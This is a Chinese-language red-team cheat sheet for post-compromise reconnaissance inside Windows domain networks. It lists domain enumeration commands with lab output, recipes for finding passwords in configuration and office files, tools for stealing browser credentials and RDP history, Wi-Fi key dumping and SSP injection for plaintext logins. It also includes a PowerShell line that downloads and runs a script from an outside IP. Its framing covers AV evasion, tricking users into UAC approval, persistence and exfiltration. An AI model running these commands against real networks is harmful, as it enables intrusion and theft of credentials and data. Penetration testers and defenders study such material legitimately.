学习流程:
入口权限 => 内网搜集/探测 => 免杀提权[非必须] => 抓取登录凭证 => 跨平台横向 => 入口维持 => 数据回传 => 定期权限维护

在拿到目标内网的一台机器权限之后,第一件事就是想办法快速维权 ( 注,此处并不一定非要去硬刚UAC,可以尝试在对方点的时候就把UAC框弹出来,让对方自己给我们管理权限即可,至于怎么让他点 “是”还不被怀疑,那就是社工的事情了,此处不做任何涉及 ) 和 尽可能多尽可能快的搜集敏感信息

1、用户信息

windows用户列表 分析邮件用户,内网[域]邮件用户,通常就是内网[域]用户
可以在网内收集用户等信息,对高权限用户做针对性的攻击,包括定位到域控,对域控发起攻击。

a、查看域用户,普通域用户权限即可:

  1. net user /domain

b、查看域管理员:

  1. net group "domain admins" /domain

c、快速定位域控ip,一般是dns、时间服务器:

  1. net time /domain
  1. C:\phpStudy\PHPTutorial\WWW\public> net time /domain
  2. \\DC.sun.com 的当前时间是 2021/2/9 11:19:21
  3. 命令成功完成。
  4. C:\phpStudy\PHPTutorial\WWW\public> ping DC
  5. 正在 Ping dc.sun.com [192.168.138.138] 具有 32 字节的数据:
  6. 来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
  7. 来自 192.168.138.138 的回复: 字节=32 时间=1ms TTL=128
  8. 来自 192.168.138.138 的回复: 字节=32 时间=1ms TTL=128
  9. 来自 192.168.138.138 的回复: 字节=32 时间<1ms TTL=128
  10. 192.168.138.138 Ping 统计信息:
  11. 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
  12. 往返行程的估计时间(以毫秒为单位):
  13. 最短 = 0ms,最长 = 1ms,平均 = 0ms
  14. 以太网适配器 本地连接:
  15. 连接特定的 DNS 后缀 . . . . . . . :
  16. 描述. . . . . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection #2
  17. 物理地址. . . . . . . . . . . . . : 00-0C-29-36-04-2D
  18. DHCP 已启用 . . . . . . . . . . . :
  19. 自动配置已启用. . . . . . . . . . :
  20. 本地链接 IPv6 地址. . . . . . . . : fe80::e4:89c:8ffb:f13%16(首选)
  21. IPv4 地址 . . . . . . . . . . . . : 192.168.138.136(首选)
  22. 子网掩码 . . . . . . . . . . . . : 255.255.255.0
  23. 默认网关. . . . . . . . . . . . . :
  24. DHCPv6 IAID . . . . . . . . . . . : 352324649
  25. DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-25-F1-93-23-00-0C-29-CE-6E-F7
  26. DNS 服务器 . . . . . . . . . . . : 192.168.138.138
  27. TCPIP 上的 NetBIOS . . . . . . . : 已启用

d、查看域控制器

  1. net group domain controllers /domain
  1. C:\phpStudy\PHPTutorial\WWW\public> net group "domain controllers" /domain
  2. 这项请求将在域 sun.com 的域控制器处理。
  3. 组名 Domain Controllers
  4. 注释 域中所有域控制器
  5. 成员
  6. -------------------------------------------------------------------------------
  7. DC$ <---这个就是域控制器
  8. 命令成功完成。

查询dns解析记录

若当前主机的dns为域内dns,可通过查询dns解析记录定位域控。

  1. nslookup -type=all _ldap._tcp.dc._msdcs.sun.com
  1. C:\phpStudy\PHPTutorial\WWW\public> nslookup -type=all _ldap._tcp.dc._msdcs.sun.com
  2. DNS request timed out.
  3. timeout was 2 seconds.
  4. ������: UnKnown
  5. Address: 192.168.138.138 <--这个就为域控的IP
  6. _ldap._tcp.dc._msdcs.sun.com SRV service location:
  7. priority = 0
  8. weight = 100
  9. port = 389
  10. svr hostname = dc.sun.com
  11. dc.sun.com internet address = 192.168.138.138
  1. ipconfig /all ------> 查询本机 IP 段,所在域等
  2. net user ------> 本机用户列表
  3. net localgroup administrators ------> 本机管理员[通常含有域用户]
  4. net group /domain ------> 查询域里面的工作组
  5. net group domain controllers /domain 获得域控制器列表
  6. net group domain computers /domain 获得所有域成员计算机列表
  7. net user someuser /domain 获得指定账户someuser的详细信息
  8. net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息
  9. nltest /domain_trusts 获取域信任信息
  10. net localgroup administrators /domain ------> 登录本机的域管理员
  11. net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
  12. net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
  13. net view /domain:domainname

DNS记录获取

a、在windows server上,可以使用Dnscmd工具获取dns记录。
Dnscmd . /ZonePrint sun.com

Dnscmd . /EnumRecords sun.com .

b、在非windows server机器上,可以使用PowerView获取。PowerView的一些tips

import-module PowerView.ps1 Get-DNSRecord -ZoneName sun.com

详细文章

工具类

Adfind

  1. 列出域控制器名称:
  2. AdFind -sc dclist
  3. 查询当前域中在线的计算机:
  4. AdFind -sc computers_active
  5. 查询当前域中在线的计算机(只显示名称和操作系统):
  6. AdFind -sc computers_active name operatingSystem
  7. 查询当前域中所有计算机:
  8. AdFind -f "objectcategory=computer"
  9. 查询当前域中所有计算机(只显示名称和操作系统):
  10. AdFind -f "objectcategory=computer" name operatingSystem
  11. 查询域内所有用户:
  12. AdFind -users name
  13. 查询所有GPO
  14. AdFind -sc gpodmp

获取息内网获取目标主机上的网卡信息https://github.com/Rvn0xsy/OXID-Find
OXID_Find

2、进程列表

分析杀毒软件/安全监控工具等 邮件客户端 VPN ftp等

需要特别关注的一些敏感进程:

  • 各类常见杀软进程 [ 赛门铁克, 360套装(包括天擎), 麦咖啡, ESET, 卡巴, 趋势, WindowsDefender, Sophos, 火绒, QQ管家…… ]
  • 常规监控系统的agent端进程 [ Zabbix, Cacti(默认用snmp远程搜集系统信息), Nagios]
  • 敏感工具进程 [ Chrome,Firefox,Edege,IE,Xshell,Xftp,SecureCRT,Navicat,TortoiseSVN,Git,Foxmail,Filezilla,Vnc,Putty,Office套件,Teamviewer,向日葵…]
  • 可疑恶意敏感进程 [ Powershell.exe, mshta.exe, cmd.exe,cscript.exe …. ]
    各类Java服务进程 [ 通常Java权限较高,后面提权可能会用得到 ]
    包括对应进程的详细用户权限

wmic OS get Caption,CSDVersion,OSArchitecture,Verion # 当前系统具体信息

wmic product get name,version # 查看当前软件安装的具体名字以及版本,后续要对各类软件进行敏感信息收集

systeminfo # 查看补丁情况,为提权做准备,后续提权做准备
tasklist /svc # 查看当前进程,判断是否存在杀软

set # 判断当前计算机存在的环境变量,后续使用

powershell “Get-WmiObject -class Win32_Product | Select-Object -property name,version” # 通过powershell获取

可以结合这些信息进行CS,或MSF上线

3.服务列表

与安全防范工具有关服务[判断是否可以手动开关等] 存在问题的服务[权限/漏洞]

需要特别关注的一些敏感服务:

  1. 本机各类Web服务
  2. 本机各类数据库服务
  3. 本机各类杀软 / EDR服务
  4. 本机各类常规监控的相关服务
  5. ...

net start # 当前服务启动情况
可以使用SPN扫描利用

4.端口列表

开放端口对应的常见服务/应用程序[匿名/权限/漏洞等] 利用端口进行信息收集

获取当前机器的所有Tcp / Udp端口连接状态信息,顺手重点关注那些后期可用来”提权”或者搜集密码的各类敏感服务端口

  1. netstat -ano
  2. //获取机器通信信息,根据通信的端口、ip可以获取到如下信息。如果通信信息是入流量,则可以获取到跳板机/堡垒机、管理员的PC来源IP、本地web应用端口等信息;如果通信信息是出流量,则可以获取到敏感端口(redis、mysql、mssql等)、API端口等信息。

5.补丁列表

分析 Windows 补丁 第三方软件[Java/Oracle/Flash 等]漏洞

  1. systeminfo # 查看补丁情况,为提权做准备,后续提权做准备

6.本机共享

本机共享列表/访问权限 本机访问的域共享/访问权限

  1. net share # 判断共享目录
  1. 共享名 资源 注解
  2. -------------------------------------------------------------------------------
  3. C$ C:\ 默认共享
  4. IPC$ 远程 IPC
  5. ADMIN$ C:\Windows 远程管理
  6. 命令成功完成。
  1. net view #查看共享资料
  2. net use # 判断是否存在IPC连接
  3. net view COMPUTER_NAME /all
  4. 一些替代品
  5. wmic share get /format:list
  6. wmic /node: COMPUTER_NAME share get

9.配置文件

可以使用如下命令寻找包含密码字段的文件:

cd /web findstr /s /m “password” .

下面是常用应用的默认配置路径:

a、

  1. Tomcat: CATALINA_HOME/conf/tomcat-users.xml

b、

  1. Apache: /etc/httpd/conf/httpd.conf

c、

  1. Nginx: /etc/nginx/nginx.conf

d、

  1. Wdcp: /www/wdlinux/wdcp/conf/mrpw.conf

e、

  1. Mysql: mysql\data\mysql\user.MYD
  1. # Mssql配置文件搜集:
  2. dir /b /s web.config
  3. findstr /c:"User ID=" /c:"Password=" /si web.config
  4. # Seatbelt,导出详细信息
  5. Seatbelt -group=all
  6. # 列出当前目录结构:
  7. tree /A |findstr /BV /C:"| |"
  8. # 针对特定类型的敏感文件进行全盘遍历搜集,比如, 文件类型:
  9. *.xlsx,*.doc,*.docx,*.txt,*.zip,*.rar,*.7z,*.ovpn,*. vsdx,*.ppt,*pptx,*.php,*.sql,*.md
  10. # 全盘搜带有以下敏感字段的文件,其实还有非常非常多,弟兄们平时在搞的过程中最好一边搞一边积累,常见关键字:
  11. "密码(pass)", "账号(user)", "VPN",
  12. "SVN","GIT", "账户(user)",
  13. "交接", "离职", "登录(login)",
  14. "账密", "堡垒", "邮箱(Mail)" ,
  15. "IT", "信息安全", "IT部", "备份(bak)",
  16. "管理员(admin)", "内网", "杀毒" ,
  17. "入职", "服务器" , "运维" ,
  18. "平台", "巡检", "拓扑", "资产",
  19. "网络", "系统", "后台(system)" ,
  20. "漏洞", "扫描", "数据库", "交换机",
  21. "ERP", "防火墙" , "防毒墙", "合同",
  22. "虚拟", "集群", "通讯录", "订单"
  23. "办公", "权限", "隔离", "测试"
  24. "网闸", "监控", "设备", "简历", "工资"
  25. dir /s /b "*密码*" "*登录*" "*资产*" "*VPN*" "*Svn*" "*Git*" "*交接*" "*离职*" "*网络*" "*后台*" "*拓扑*" "*邮箱*" "*工资*" "*管理员*" "*巡检*"
  26. # Server 端配置文件密码收集:
  27. findstr /I /c:"user=" /c:"pass=" /c:"login=" /c:"uid=" /c:"pwd=" /si *.conf *.asp *.php *.jsp *.aspx *.cgi *.xml *.ini *.inf *.txt *.cgi
  28. dir /a /s /b d:\conf.* config.*
  29. dir /a /s /b c:\*.conf *.ini *.inc *.config | findstr "运维"
  30. dir /a /s /b c:\*.txt *.xls *.xlsx *.docx | findstr "密码"
  31. dir /a /s /b c:\*.conf *.ini *.inc *.config
  32. dir /a /s /b c:\conf.* config.*
  33. dir /a /s /b c:\*.txt *.xls *.xlsx *.docx
  34. findstr /s /i /n /d:C:\ /c:"pass" *.config
  35. 同时也可以搜索web目录
  36. dir /s /a /b D:\*test.js

8.本用户习惯分析

历史记录 收藏夹 文档等

获取当前用户浏览器 [ Chrome,Firefox,Edge,IE,360,QQ ] 的各类敏感数据,eg:

保存的账号密码,收藏夹链接,历史浏览记录,Cookie [ 注: 如浏览器正在运行可能无法获取相关数据 ]

可以使用如下工具:

  1. https://github.com/moonD4rk/HackBrowserData
  2. https://github.com/QAX-A-Team/BrowserGhost
  3. https://github.com/hayasec/360SafeBrowsergetpass

获取当前用户回收站,桌面里的文件目录列表

  1. FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt
  2. 目录路径在 C:\$Recycle.Bin
  3. $I 开头的文件保存的是路径信息
  4. $R 开头的文件保存的是文件内容

获取最近运行的命令历史和访问过的文件记录

会话收集

获取管理员登录过那些机器、机器被谁登录过

同样也可以使用PowerView获取。PowerView的一些tips

获取当前机器的所有Rdp连出记录 [ 不包括连入记录 ]

  1. https://github.com/Adminisme/SharpRDPLog(需要bypassUAC)
  2. https://github.com/Heart-Sky/ListRDPConnections

获取当前机器的WIFI连接账号密码:

  1. netsh wlan show profiles
  2. netsh wlan show profiles name="这里写wifi的配置名" key=clear

获取当前系统的防火墙状态 [开启 / 关闭]
获取当前机器根下的计划任务列表
获取当前用户的注册表自启动项列表
获取当前机器的所有IPC会话

9、获取当前用户密码(高权限下)

抓取当前系统的所有本地用户明文密码及Hash

插SSP 众所周知,Win8.1 / 2012R2 之后的系统默认抓不到明文,所以可以通过此方式等目标下次登录时来获取明文,类似的基础工具肯定都需事先免杀好

获取当前系统中的所有用户Token [ 后续可尝试模拟伪造令牌进行横向移动 ]

获取当前系统中日志id为4624 和 4628的,最近60天的登录记录

获取当前用户的Masterkey,后续解密用

获取当前机器的所有已经安装软件列表(留后门,抓密码可能会用得到)

获取组策略|GPP

凭据信息

抓取 “windows凭据管理器中保存的各类连接账号密码”文章

11、扩散信息收集

主机发现

a、查看共享资料:

  1. net view

b、查看arp表:

  1. arp -a

c、查看hosts文件:

  1. linux: cat /etc/hosts
  2. windows: type c:\Windows\system32\drivers\etc\hosts

d、查看dns缓存:

  1. ipconfig /displaydns

e、工具类(动静大)

nmap、nbtscan、、fscan、goby、railgunLadonGoTailorScanServerScan

d、脚本类

  1. 内网C段存活主机探测
  2. 命令行:
  3. for /l %i in (1,1,255) do @ ping 10.0.0.%i -w 1 -n 1|find /i "ttl="
  4. 输出内容:
  5. @for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)
  6. powershell
  7. powershell.exe exec bypass Command "Import‐Module ./Invoke‐TSPingSweep.ps1; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐ResolveHost ‐ScanPort ‐Port 445,135"
  8. powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135

分析内网拓扑架构分析

DMZ,
管理网,
生产网,
测试网.

这时熟练掌握msf等工具,在这方面的信息搜集
NETBIOS 信息收集,
SMB 信息收集,
空会话信息收集,
漏洞信息收集等.

12、域信息收集

获取域信任

查看域信任:

  1. nltest /domain_trusts

域传送

当存在域传送漏洞时,可以获取域名解析记录。当有了解析记录后,也能提高对网络环境的进一步认知,比如www解析的ip段可能在dmz区,mail解析的ip段可能在核心区域等等。DNS服务器分为主、备以及缓存服务器。主备之间同步数据,需要通过DNS域传送。具体指备服务器需要从主服务器拷贝数据来更新自身数据库。其原因为配置不当,如果存在则很快将内部的网络拓扑泄露

留个坑

获取当前机器中的服务票据 [ 待后续拿到管理权限后可进行PTT操作 ]

活动目录信息收集

使用PowerView

PowerView的一些技巧:

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993

其他的一些工具参考3好学生大佬文章

https://3gstudent.github.io/渗透基础-活动目录信息的获取2_Bypass-AV

学习C-Sharp编写免杀工具

13、自动化信息搜集工具

Seatbelt

  1. https://github.com/GhostPack/Seatbelt

Bloodhound

  1. https://github.com/BloodHoundAD/BloodHound

Ping Castle

  1. https://github.com/vletoux/pingcastle

useage

  1. https://www.pingcastle.com/documentation/

参考&&备忘录

https://github.com/Ridter/Intranet_Penetration_Tips#内网信息搜集
https://paper.seebug.org/610/
https://github.com/fengjixuchui/RedTeamer
https://mp.weixin.qq.com/s/dvDowUZOzoNid4jFJVzNOw
https://raw.githubusercontent.com/uknowsec/Active-Directory-Pentest-Notes/master/images/域渗透实战入门细则 [ 单域 ].png
https://github.com/RedTeamWing/Hunting-Active-Directory
https://github.com/zer0yu/Intranet_Penetration_CheetSheets#内网跨边界应用

check list

  1. AD 环境
  2. To display the IP, subnet, default gateway etc
  3. ipconfig /all
  4. To display current user name, info in current access token, SID, privs and group that current user belongs to
  5. whoami /all
  6. To show local groups on current machine:
  7. net localgroup
  8. To show local administrators of current machine:
  9. net localgroup administrators
  10. To check active tcp connections, ports, which the computer is listening, ethernet statistics, ip routing table
  11. netstat -an
  12. To display running processes with verbose mode:
  13. tasklist /V
  14. Shows the windows started services:
  15. net start
  16. Shows the windows services with binary paths:
  17. sc qc <service name>
  18. Show OS, processor, memory, bios related info:
  19. systeminfo > output.txt
  20. To check for scheduled jobs:
  21. schtasks /query /fo LIST /v
  22. To check for the patches installed and figuring out if its missing important any patch:
  23. wmic qfe get Caption,Description,HotFixID,InstalledOn
  24. Shows mapping of IP address to its MAC address in the network:
  25. arp -a
  26. Shows the domain:
  27. echo %USERDOMAIN%
  28. Prints the domain controller name:
  29. echo %logonserver%
  30. Prints a list of domain users
  31. net user /domain
  32. Prints a list of groups in the domain:
  33. net group /domain
  34. Prints the AD domain password policy:
  35. net accounts /domain
  36. Maps AD trust relationships:
  37. nltest /domain_trusts
  38. Now, lets have a look at enumerating through Active Directory Module for windows.